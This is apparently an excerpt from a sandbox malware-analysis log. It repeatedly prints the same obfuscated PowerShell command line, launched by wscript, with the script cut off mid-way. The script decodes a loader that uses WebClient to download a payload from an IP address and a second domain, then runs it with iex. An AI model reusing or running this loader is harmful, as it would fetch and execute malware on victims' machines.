Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( $Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga unloveliness Vvestol Shrimpish byrendernes Ristornos33 Estoppel Togaernes Kalkulationskolonnernes Dispatch systematikkerne Hemmelighed Tonical Uncrudded ulyksalighed ugthedens Buddingpulverets Vertebrate Pursuits Partitional Rigsenhedens brugervenlig Hypnotiseres Quinqueradiate Saiga';If (${host}.CurrentCulture) {$Optionally++;}Function Nordvest61($Spaltedefinitionernes){$Defrauding=$Spaltedefinitionernes.Length-$Optionally;$Genskabtes='SUBsTRI';$Genskabtes+='ng';For( 